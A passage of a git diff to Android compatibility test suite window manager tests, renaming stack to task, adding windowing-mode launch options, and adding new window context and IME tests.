         boolean bottomWallpaper, boolean topWallpaper, boolean topTranslucent,
-        boolean topResizable, boolean testSlowStop, String expectedTransit) {
+        boolean topResizable, boolean testSlowStop, String expectedTransit, int windowingMode) {
         final ComponentName bottomComponent = bottomWallpaper
             ? BOTTOM_NON_RESIZABLE_ACTIVITY : BOTTOM_ACTIVITY;
         String bottomStartCmd = getAmStartCmd(bottomComponent);
@@ -280,7 +319,7 @@
         if (testSlowStop) {
             bottomStartCmd += " --ei " + EXTRA_STOP_DELAY + " 3000";
         }
-        executeShellCommand(bottomStartCmd);
+        executeShellCommand(bottomStartCmd + " --windowingMode " + windowingMode);
 
         mWmState.computeState(bottomComponent);
 
@@ -307,7 +346,7 @@
         if (!testOpen) {
             topStartCmd += " --ei " + EXTRA_FINISH_DELAY + " 1000";
         }
-        executeShellCommand(topStartCmd);
+        executeShellCommand(topStartCmd + " --windowingMode " + windowingMode);
 
         Condition.waitFor("Retrieving correct transition", () -> {
             if (testOpen) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
index de323ac..6b8be2d 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/UnsupportedErrorDialogTests.java
@@ -165,9 +165,13 @@
         mWmState.waitAndAssertAppFocus(Components.UNRESPONSIVE_ACTIVITY.getPackageName(),
                 2_000 /* waitTime */);
         // queue up enough key events to trigger an ANR
-        for (int i = 0; i < 14; i++) {
+        for (int i = 0; i < 20; i++) {
             injectKey(KeyEvent.KEYCODE_TAB, false /* longPress */, false /* sync */);
             SystemClock.sleep(500);
+            mWmState.computeState();
+            if (!mWmState.isActivityVisible(Components.UNRESPONSIVE_ACTIVITY)) {
+                break;
+            }
         }
         ensureNoCrashDialog(Components.UNRESPONSIVE_ACTIVITY);
         ensureActivityNotFocused(Components.UNRESPONSIVE_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java b/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
index 5e3e030..d76e49b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/VrDisplayTests.java
@@ -132,14 +132,13 @@
         // Ensure that the subsequent activity is visible
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
-        // Check that activity is launched in focused stack on primary display.
+        // Check that activity is launched in focused task on primary display.
         mWmState.assertFocusedActivity("Launched activity must be focused",
                 LAUNCHING_ACTIVITY);
-        final int focusedStackId = mWmState.getFocusedStackId();
-        final WindowManagerState.ActivityTask focusedStack
-                = mWmState.getRootTask(focusedStackId);
-        assertEquals("Launched activity must be resumed in focused stack",
-                getActivityName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+        final int focusedTaskId = mWmState.getFocusedTaskId();
+        final WindowManagerState.Task focusedTask = mWmState.getRootTask(focusedTaskId);
+        assertEquals("Launched activity must be resumed in focused task",
+                getActivityName(LAUNCHING_ACTIVITY), focusedTask.mResumedActivity);
 
         // Check if the launch activity is in Vr virtual display id.
         final List<DisplayContent> reportedDisplays = getDisplaysStates();
@@ -147,9 +146,9 @@
                 VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
         assertNotNull("Vr mode should have a virtual display", vrDisplay);
 
-        // Check if the focused activity is on this virtual stack.
-        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
-                focusedStack.mDisplayId);
+        // Check if the focused activity is on this virtual task.
+        assertEquals("Launch in Vr mode should be in virtual task", vrDisplay.mId,
+                focusedTask.mDisplayId);
     }
 
     /**
@@ -182,14 +181,14 @@
         // Ensure that the subsequent activity is visible
         mWmState.assertVisibility(LAUNCHING_ACTIVITY, true /* visible */);
 
-        // Check that activity is launched in focused stack on primary display.
+        // Check that activity is launched in focused task on primary display.
         mWmState.assertFocusedActivity("Launched activity must be focused",
                 LAUNCHING_ACTIVITY);
-        final int focusedStackId = mWmState.getFocusedStackId();
-        final WindowManagerState.ActivityTask focusedStack
-                = mWmState.getRootTask(focusedStackId);
-        assertEquals("Launched activity must be resumed in focused stack",
-                getActivityName(LAUNCHING_ACTIVITY), focusedStack.mResumedActivity);
+        final int focusedTaskId = mWmState.getFocusedTaskId();
+        final WindowManagerState.Task focusedTask
+                = mWmState.getRootTask(focusedTaskId);
+        assertEquals("Launched activity must be resumed in focused task",
+                getActivityName(LAUNCHING_ACTIVITY), focusedTask.mResumedActivity);
 
         // Check if the launch activity is in Vr virtual display id.
         final List<DisplayContent> reportedDisplays = getDisplaysStates();
@@ -197,9 +196,9 @@
                 VR_VIRTUAL_DISPLAY_WIDTH, VR_VIRTUAL_DISPLAY_HEIGHT, VR_VIRTUAL_DISPLAY_DPI);
         assertNotNull("Vr mode should have a virtual display", vrDisplay);
 
-        // Check if the focused activity is on this virtual stack.
-        assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
-                focusedStack.mDisplayId);
+        // Check if the focused activity is on this virtual task.
+        assertEquals("Launch in Vr mode should be in virtual task", vrDisplay.mId,
+                focusedTask.mDisplayId);
     }
 
     /**
@@ -231,15 +230,14 @@
             // Ensure that the subsequent activity is visible
             mWmState.assertVisibility(ALT_LAUNCHING_ACTIVITY, true /* visible */);
 
-            // Check that activity is launched in focused stack on primary display.
+            // Check that activity is launched in focused task on primary display.
             mWmState.assertFocusedActivity("Launched activity must be focused",
                     ALT_LAUNCHING_ACTIVITY);
-            final int focusedStackId = mWmState.getFocusedStackId();
-            final WindowManagerState.ActivityTask focusedStack
-                    = mWmState.getRootTask(focusedStackId);
-            assertEquals("Launched activity must be resumed in focused stack",
+            final int focusedTaskId = mWmState.getFocusedTaskId();
+            final WindowManagerState.Task focusedTask = mWmState.getRootTask(focusedTaskId);
+            assertEquals("Launched activity must be resumed in focused task",
                     getActivityName(ALT_LAUNCHING_ACTIVITY),
-                    focusedStack.mResumedActivity);
+                    focusedTask.mResumedActivity);
 
             // Check if the launch activity is in Vr virtual display id.
             final List<DisplayContent> reportedDisplays = getDisplaysStates();
@@ -248,9 +246,9 @@
                     VR_VIRTUAL_DISPLAY_DPI);
             assertNotNull("Vr mode should have a virtual display", vrDisplay);
 
-            // Check if the focused activity is on this virtual stack.
-            assertEquals("Launch in Vr mode should be in virtual stack", vrDisplay.mId,
-                    focusedStack.mDisplayId);
+            // Check if the focused activity is on this virtual task.
+            assertEquals("Launch in Vr mode should be in virtual task", vrDisplay.mId,
+                    focusedTask.mDisplayId);
 
         }
 
@@ -270,14 +268,14 @@
         // Ensure that the subsequent activity is visible
         mWmState.assertVisibility(RESIZEABLE_ACTIVITY, true /* visible */);
 
-        // Check that activity is launched in focused stack on primary display.
+        // Check that activity is launched in focused task on primary display.
         mWmState.assertFocusedActivity("Launched activity must be focused", RESIZEABLE_ACTIVITY);
-        final int frontStackId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
-        final WindowManagerState.ActivityTask frontStack
-                = mWmState.getRootTask(frontStackId);
-        assertEquals("Launched activity must be resumed in front stack",
-                getActivityName(RESIZEABLE_ACTIVITY), frontStack.mResumedActivity);
-        assertEquals("Front stack must be on primary display",
-                DEFAULT_DISPLAY, frontStack.mDisplayId);
+        final int frontRootTaskId = mWmState.getFrontRootTaskId(DEFAULT_DISPLAY);
+        final WindowManagerState.Task frontRootTask
+                = mWmState.getRootTask(frontRootTaskId);
+        assertEquals("Launched activity must be resumed in front root task",
+                getActivityName(RESIZEABLE_ACTIVITY), frontRootTask.mResumedActivity);
+        assertEquals("Front root task must be on primary display",
+                DEFAULT_DISPLAY, frontRootTask.mDisplayId);
     }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
index 66468a3..6bfc008 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextPolicyTests.java
@@ -44,6 +44,8 @@
 import android.content.Context;
 import android.platform.test.annotations.Presubmit;
 import android.view.Display;
+import android.view.View;
+import android.view.WindowManager;
 
 import org.junit.Test;
 
@@ -104,4 +106,13 @@
             createWindowContext(display.mId, windowType);
         }
     }
+
+    @Test(expected = IllegalArgumentException.class)
+    public void testWindowContextAddMismatchedWindowType() {
+        final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
+                .setSimulateDisplay(true).createDisplay();
+        final Context windowContext = createWindowContext(display.mId);
+        windowContext.getSystemService(WindowManager.class)
+                .addView(new View(windowContext), new WindowManager.LayoutParams(TYPE_PHONE));
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
index e8ca8b6..1939c72 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowContextTests.java
@@ -22,15 +22,19 @@
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
 
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
 
+import android.app.WindowConfiguration;
 import android.content.ComponentCallbacks;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.pm.ActivityInfo;
 import android.content.res.Configuration;
 import android.graphics.Rect;
 import android.os.Binder;
@@ -51,6 +55,7 @@
 
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
 
 /**
  * Tests that verify the behavior of window context
@@ -122,7 +127,7 @@
      * is received when the window context configuration changes.
      */
     @Test
-    public void testWindowContextRegisterComponentCallbacks() throws Exception {
+    public void testWindowContextRegisterComponentCallbacks() {
         final TestComponentCallbacks callbacks = new TestComponentCallbacks();
         final WindowManagerState.DisplayContent display = createManagedVirtualDisplaySession()
                 .setSimulateDisplay(true).createDisplay();
@@ -137,7 +142,11 @@
         displayMetricsSession.changeDisplayMetrics(1.2 /* sizeRatio */, 1.1 /* densityRatio */);
 
         // verify if there is a callback from the window context configuration change.
-        assertTrue(callbacks.mLatch.await(4, TimeUnit.SECONDS));
+        try {
+            assertTrue(callbacks.mLatch.await(4, TimeUnit.SECONDS));
+        } catch(InterruptedException e) {
+            throw new RuntimeException(e);
+        }
         Rect bounds = callbacks.mConfiguration.windowConfiguration.getBounds();
         assertBoundsEquals(displayMetricsSession.getDisplayMetrics(), bounds);
 
@@ -184,64 +193,108 @@
      * </ul>
      */
     @Test
-    public void testWindowProviderServiceLifecycle() throws Exception {
+    public void testWindowProviderServiceLifecycle() {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
         // Start an activity for WindowProviderService to attach
-        TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivity(TestActivity.class);
         final ComponentName activityName = activity.getComponentName();
 
         // If the device supports multi-window, make this Activity to multi-window mode.
         // In this way, we can verify if the WindowProviderService's metrics matches
         // the split-screen Activity's metrics, which is different from TaskDisplayArea's metrics.
-        if (supportsSplitScreenMultiWindow()) {
-            mWmState.computeState(activityName);
+        mWmState.computeState(activityName);
 
-            putActivityInPrimarySplit(activityName);
+        putActivityInPrimarySplit(activityName);
 
-            activity.waitAndAssertConfigurationChanged();
-        }
+        activity.waitAndAssertConfigurationChanged();
 
         // Obtain the TestWindowService instance.
-        final Context context = ApplicationProvider.getApplicationContext();
-        final Intent intent = new Intent(context, TestWindowService.class);
-        final ServiceTestRule serviceRule = new ServiceTestRule();
-        try {
-            TestToken token = (TestToken) serviceRule.bindService(intent);
-            final TestWindowService service = token.getService();
+        final TestWindowService service = createManagedWindowServiceSession().getService();
 
-            mWmState.computeState(activityName);
-            final WindowManagerState.DisplayArea da = mWmState.getTaskDisplayArea(activityName);
-            final Rect daBounds = da.mFullConfiguration.windowConfiguration.getBounds();
-            final Rect maxDaBounds = da.mFullConfiguration.windowConfiguration.getMaxBounds();
+        // Compute state to obtain associated TaskActivityArea information.
+        mWmState.computeState(activityName);
+        final WindowManagerState.DisplayArea da = mWmState.getTaskDisplayArea(activityName);
+        final Rect daBounds = da.mFullConfiguration.windowConfiguration.getBounds();
+        final Rect maxDaBounds = da.mFullConfiguration.windowConfiguration.getMaxBounds();
 
-            waitAndAssertWindowMetricsBoundsMatches(service, daBounds, maxDaBounds,
-                    "WindowProviderService bounds must match DisplayArea bounds.");
+        assertBoundsMatches(service, daBounds, maxDaBounds,
+                "WindowProviderService bounds must match DisplayArea bounds.");
 
-            // Obtain the Activity's token and attach it to TestWindowService.
-            final IBinder windowToken = activity.getWindow().getAttributes().token;
-            service.attachToWindowToken(windowToken);
+        // Obtain the Activity's token and attach it to TestWindowService.
+        final IBinder windowToken = activity.getWindow().getAttributes().token;
+        service.attachToWindowToken(windowToken);
 
-            final WindowManager wm = activity.getWindowManager();
-            final Rect currentBounds = wm.getCurrentWindowMetrics().getBounds();
-            final Rect maxBounds = wm.getMaximumWindowMetrics().getBounds();
+        final WindowManager wm = activity.getWindowManager();
+        final Rect currentBounds = wm.getCurrentWindowMetrics().getBounds();
+        final Rect maxBounds = wm.getMaximumWindowMetrics().getBounds();
 
-            // After TestWindowService attaches the Activity's token, which is also a WindowToken,
-            // it is expected to receive a config update which matches the WindowMetrics of
-            // the Activity.
-            waitAndAssertWindowMetricsBoundsMatches(service, currentBounds, maxBounds,
-                    "WindowProviderService bounds must match WindowToken bounds.");
-        } finally {
-            serviceRule.unbindService();
-        }
+        service.waitAndAssertConfigurationChanged();
+        // After TestWindowService attaches the Activity's token, which is also a WindowToken,
+        // it is expected to receive a config update which matches the WindowMetrics of
+        // the Activity.
+        assertBoundsMatches(service, currentBounds, maxBounds,
+                "WindowProviderService bounds must match WindowToken bounds.");
     }
 
-    private void waitAndAssertWindowMetricsBoundsMatches(Context context, Rect currentBounds,
+    /**
+     * Verifies if:
+     * <ul>
+     *     <li>{@link android.view.WindowMetrics} bounds matches provided bounds.</li>
+     *     <li>Bounds from {@link WindowProviderService#onConfigurationChanged(Configuration)}
+     *     callback matches provided bounds.</li>
+     * </ul>
+     */
+    private void assertBoundsMatches(TestWindowService service, Rect currentBounds,
             Rect maxBounds, String message) {
-        final WindowManager wm = context.getSystemService(WindowManager.class);
-        waitForOrFail(message, () -> {
-            final Rect currentWindowBounds = wm.getCurrentWindowMetrics().getBounds();
-            final Rect maxWindowBounds = wm.getMaximumWindowMetrics().getBounds();
-            return currentBounds.equals(currentWindowBounds) && maxBounds.equals(maxWindowBounds);
-        });
+        final WindowConfiguration winConfig = service.mConfiguration.windowConfiguration;
+        assertWithMessage(message + " WindowConfiguration#getBounds not matched.")
+                .that(winConfig.getBounds()).isEqualTo(currentBounds);
+        assertWithMessage(message +  " WindowConfiguration#getMaxBounds not "
+                + "matched.").that(winConfig.getMaxBounds()).isEqualTo(maxBounds);
+
+        final WindowManager wm = service.getSystemService(WindowManager.class);
+        final Rect currentWindowBounds = wm.getCurrentWindowMetrics().getBounds();
+        final Rect maxWindowBounds = wm.getMaximumWindowMetrics().getBounds();
+        assertWithMessage(message + " Current WindowMetrics bounds not matched.")
+                .that(currentWindowBounds).isEqualTo(currentBounds);
+        assertWithMessage(message  + " Maximum WindowMetrics bounds not matched.")
+                .that(maxWindowBounds).isEqualTo(maxBounds);
+    }
+
+    @Test
+    public void testWidowProviderServiceGlobalConfigChanges() {
+        final TestWindowService service = createManagedWindowServiceSession().getService();
+
+        // Obtain the original config
+        final Configuration originalConfiguration =
+                new Configuration(service.getResources().getConfiguration());
+
+        final FontScaleSession fontScaleSession = createManagedFontScaleSession();
+        final float expectedFontScale = fontScaleSession.get() + 0.3f;
+        fontScaleSession.set(expectedFontScale);
+
+        service.waitAndAssertConfigurationChanged();
+
+        assertThat(service.mConfiguration.fontScale).isEqualTo(expectedFontScale);
+        // Also check Configuration obtained from WindowProviderService's Resources
+        assertWithMessage("Configuration update must contains font scale change.")
+                .that(originalConfiguration.diff(service.mConfiguration)
+                        & ActivityInfo.CONFIG_FONT_SCALE).isNotEqualTo(0);
+        assertWithMessage("Font scale must be updated to WindowProviderService Resources.")
+                .that(service.getResources().getConfiguration().fontScale)
+                .isEqualTo(expectedFontScale);
+    }
+
+    @Test
+    public void testWindowProviderServiceCallWmBeforeOnCreateNotCrash() {
+        final TestWindowService service =
+                createManagedWindowServiceSession(true /* verifyWmInOnCreate */).getService();
+        if (service.mThrowableFromOnCreate != null) {
+            throw new AssertionError("Calling WindowManager APIs before"
+                    + " WindowProviderService#onCreate must not throw Throwable, but did.",
+                    service.mThrowableFromOnCreate);
+        }
     }
 
     public static class TestActivity extends WindowManagerTestBase.FocusableActivity {
@@ -253,13 +306,55 @@
             mLatch.countDown();
         }
 
-        private void waitAndAssertConfigurationChanged() throws Exception {
-            assertThat(mLatch.await(4, TimeUnit.SECONDS)).isTrue();
+        private void waitAndAssertConfigurationChanged() {
+            try {
+                assertThat(mLatch.await(4, TimeUnit.SECONDS)).isTrue();
+            } catch(InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private TestWindowServiceSession createManagedWindowServiceSession() {
+        return mObjectTracker.manage(new TestWindowServiceSession(false /* verifyWmInOnCreate */));
+    }
+
+    private TestWindowServiceSession createManagedWindowServiceSession(boolean verifyWmInOnCreate) {
+        return mObjectTracker.manage(new TestWindowServiceSession(verifyWmInOnCreate));
+    }
+
+    private static class TestWindowServiceSession implements AutoCloseable {
+        private final ServiceTestRule mServiceRule = new ServiceTestRule();
+        private final TestWindowService mService;
+        private static boolean sVerifyWmInOnCreate = false;
+
+        private TestWindowServiceSession(boolean verifyWmInOnCreate) {
+            final Context context = ApplicationProvider.getApplicationContext();
+            final Intent intent = new Intent(context, TestWindowService.class);
+            sVerifyWmInOnCreate = verifyWmInOnCreate;
+            try {
+                final TestToken token = (TestToken) mServiceRule.bindService(intent);
+                mService = token.getService();
+            } catch (TimeoutException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        private TestWindowService getService() {
+            return mService;
+        }
+
+        @Override
+        public void close() {
+            mServiceRule.unbindService();
         }
     }
 
     public static class TestWindowService extends WindowProviderService {
         private final IBinder mToken = new TestToken();
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private Configuration mConfiguration;
+        private Throwable mThrowableFromOnCreate;
 
         @Override
         public int getWindowType() {
@@ -272,6 +367,39 @@
             return mToken;
         }
 
+        @Override
+        public void onCreate() {
+            // Verify if call WindowManager before WindowProviderService#onCreate throws Exception.
+            if (TestWindowServiceSession.sVerifyWmInOnCreate) {
+                try {
+                    getSystemService(WindowManager.class).getCurrentWindowMetrics();
+                } catch (Throwable t) {
+                    mThrowableFromOnCreate = t;
+                }
+            }
+            super.onCreate();
+            mConfiguration = getResources().getConfiguration();
+        }
+
+        @Override
+        public void onConfigurationChanged(Configuration newConfig) {
+            super.onConfigurationChanged(newConfig);
+            mConfiguration = newConfig;
+            mLatch.countDown();
+        }
+
+        private void resetLatch() {
+            mLatch = new CountDownLatch(1);
+        }
+
+        private void waitAndAssertConfigurationChanged() {
+            try {
+                assertThat(mLatch.await(4, TimeUnit.SECONDS)).isTrue();
+            } catch(InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
         public class TestToken extends Binder {
             private TestWindowService getService() {
                 return TestWindowService.this;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index 01b1104..322355f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -737,9 +737,13 @@
     @Test
     public void testInjectFromThread() throws InterruptedException {
         // Continually inject event to activity from thread.
-        final Point displaySize = new Point();
-        mActivity.getDisplay().getSize(displaySize);
-        final Point testPoint = new Point(displaySize.x / 2, displaySize.y / 2);
+        final int[] decorViewLocation = new int[2];
+        final View decorView = mActivity.getWindow().getDecorView();
+        decorView.getLocationOnScreen(decorViewLocation);
+        // Tap at the center of the view. Calculate and tap at the absolute view center location on
+        // screen, so that the tapping location is always as expected regardless of windowing mode.
+        final Point testPoint = new Point(decorViewLocation[0] + decorView.getWidth() / 2,
+                decorViewLocation[1] + decorView.getHeight() / 2);
 
         final long downTime = SystemClock.uptimeMillis();
         final MotionEvent eventDown = MotionEvent.obtain(
@@ -747,6 +751,7 @@
         mInstrumentation.sendPointerSync(eventDown);
 
         final ExecutorService executor = Executors.newSingleThreadExecutor();
+        boolean[] securityExceptionCaught = new boolean[1];
         executor.execute(() -> {
             mInstrumentation.sendPointerSync(eventDown);
             for (int i = 0; i < 20; i++) {
@@ -756,7 +761,7 @@
                 try {
                     mInstrumentation.sendPointerSync(eventMove);
                 } catch (SecurityException e) {
-                    fail("Should be allowed to inject event.");
+                    securityExceptionCaught[0] = true;
                 }
             }
         });
@@ -768,6 +773,12 @@
 
         executor.shutdown();
         executor.awaitTermination(5L, TimeUnit.SECONDS);
+
+        if (securityExceptionCaught[0]) {
+            // Fail the test here instead of in the executor lambda,
+            // so the failure is thrown in the test thread.
+            fail("Should be allowed to inject event.");
+        }
     }
 
     private void waitForWindow(String name) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index 441c862..86ec2fa 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -16,7 +16,10 @@
 
 package android.server.wm;
 
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
 import static android.graphics.Insets.NONE;
+import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowInsets.Type.captionBar;
 import static android.view.WindowInsets.Type.navigationBars;
 import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
@@ -63,7 +66,8 @@
     @Before
     public void setup() throws Exception {
         super.setUp();
-        mActivity = startActivity(TestActivity.class);
+        mActivity = startActivity(TestActivity.class, DEFAULT_DISPLAY, true,
+                WINDOWING_MODE_FULLSCREEN);
         mRootView = mActivity.getWindow().getDecorView();
         assumeTrue(hasWindowInsets(mRootView, systemBars()));
     }
@@ -77,7 +81,8 @@
 
         waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
 
-        commonAnimationAssertions(mActivity, before, false /* show */, systemBars());
+        commonAnimationAssertions(mActivity, before, false /* show */,
+                systemBars() & ~captionBar());
     }
 
     @Test
@@ -95,7 +100,8 @@
 
         waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
 
-        commonAnimationAssertions(mActivity, before, true /* show */, systemBars());
+        commonAnimationAssertions(mActivity, before, true /* show */,
+                systemBars() & ~captionBar());
     }
 
     @Test
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 133ba64..054da4c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -62,11 +62,14 @@
 import android.platform.test.annotations.Presubmit;
 import android.view.MotionEvent;
 import android.view.View;
+import android.view.ViewGroup;
+import android.view.ViewParent;
 import android.view.Window;
 import android.view.WindowInsets;
 import android.view.WindowInsetsAnimation;
 import android.view.WindowInsetsController;
 import android.view.WindowManager;
+import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.TextView;
@@ -87,6 +90,7 @@
 import java.util.List;
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
+import java.util.function.Supplier;
 
 /**
  * Test whether WindowInsetsController controls window insets as expected.
@@ -110,7 +114,7 @@
 
     @Test
     public void testHide() {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
         testHideInternal(rootView, statusBars());
@@ -128,7 +132,7 @@
 
     @Test
     public void testShow() {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
         testShowInternal(rootView, statusBars());
@@ -175,7 +179,7 @@
 
     @Test
     public void testTopAppHidesStatusBarByMethod() {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
         testTopAppHidesStatusBarInternal(activity, rootView,
@@ -207,7 +211,7 @@
                 nullValue());
         final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
         final ImeEventStream stream = imeSession.openEventStream();
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
 
         final View rootView = activity.getWindow().getDecorView();
@@ -224,7 +228,7 @@
                 nullValue());
         final MockImeSession imeSession = MockImeHelper.createManagedMockImeSession(this);
         final ImeEventStream stream = imeSession.openEventStream();
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
 
         final View rootView = activity.getWindow().getDecorView();
@@ -244,7 +248,7 @@
 
     @Test
     public void testSetSystemBarsBehavior_default() throws InterruptedException {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
         // Assume we have the bars and they can be visible.
@@ -418,7 +422,7 @@
 
     @Test
     public void testSetSystemUiVisibilityAfterCleared_showBarsBySwipe() throws Exception {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
         // Assume we have the bars and they can be visible.
@@ -477,7 +481,7 @@
 
     @Test
     public void testSetSystemUiVisibilityAfterCleared_showBarsByApp() throws Exception {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
 
         // Assume we have the bars and they can be visible.
@@ -544,7 +548,8 @@
                 nullValue());
         try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
                 instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
-            final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
+            final TestShowOnCreateActivity activity =
+                    startActivityInWindowingModeFullScreen(TestShowOnCreateActivity.class);
             final View rootView = activity.getWindow().getDecorView();
             PollingCheck.waitFor(TIMEOUT,
                     () -> rootView.getRootWindowInsets().isVisible(ime()));
@@ -569,9 +574,43 @@
     }
 
     @Test
+    public void testShowIme_immediatelyAfterDetachAndReattach() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        MockImeHelper.createManagedMockImeSession(this);
+        final TestActivity activity = startActivity(TestActivity.class);
+        final View rootView = activity.getWindow().getDecorView();
+
+        PollingCheck.waitFor(TIMEOUT, () -> getOnMainSync(rootView::hasWindowFocus));
+
+        View editor = getOnMainSync(rootView::findFocus);
+        ViewGroup parent = (ViewGroup) getOnMainSync(editor::getParent);
+
+        getInstrumentation().runOnMainSync(() -> {
+            parent.removeView(editor);
+        });
+
+        // Wait until checkFocus() is dispatched
+        getInstrumentation().waitForIdleSync();
+
+        getInstrumentation().runOnMainSync(() -> {
+            parent.addView(editor);
+            editor.requestFocus();
+            editor.getWindowInsetsController().show(ime());
+        });
+
+        PollingCheck.waitFor(TIMEOUT, () -> getOnMainSync(
+                () -> rootView.getRootWindowInsets().isVisible(ime())),
+                "Expected IME to become visible but didn't.");
+    }
+
+    @Test
     public void testInsetsDispatch() throws Exception {
-        // Start an activity which hides system bars.
-        final TestHideOnCreateActivity activity = startActivity(TestHideOnCreateActivity.class);
+        // Start an activity which hides system bars in fullscreen mode,
+        // otherwise, it might not be able to hide system bars in other windowing modes.
+        final TestHideOnCreateActivity activity = startActivityInWindowingModeFullScreen(
+                TestHideOnCreateActivity.class);
         final View rootView = activity.getWindow().getDecorView();
         ANIMATION_CALLBACK.waitForFinishing();
         PollingCheck.waitFor(TIMEOUT,
@@ -624,7 +663,7 @@
 
     @Test
     public void testDispatchApplyWindowInsetsCount_systemBars() throws InterruptedException {
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
         getInstrumentation().waitForIdleSync();
 
@@ -678,7 +717,7 @@
                 nullValue());
 
         MockImeHelper.createManagedMockImeSession(this);
-        final TestActivity activity = startActivity(TestActivity.class);
+        final TestActivity activity = startActivityInWindowingModeFullScreen(TestActivity.class);
         final View rootView = activity.getWindow().getDecorView();
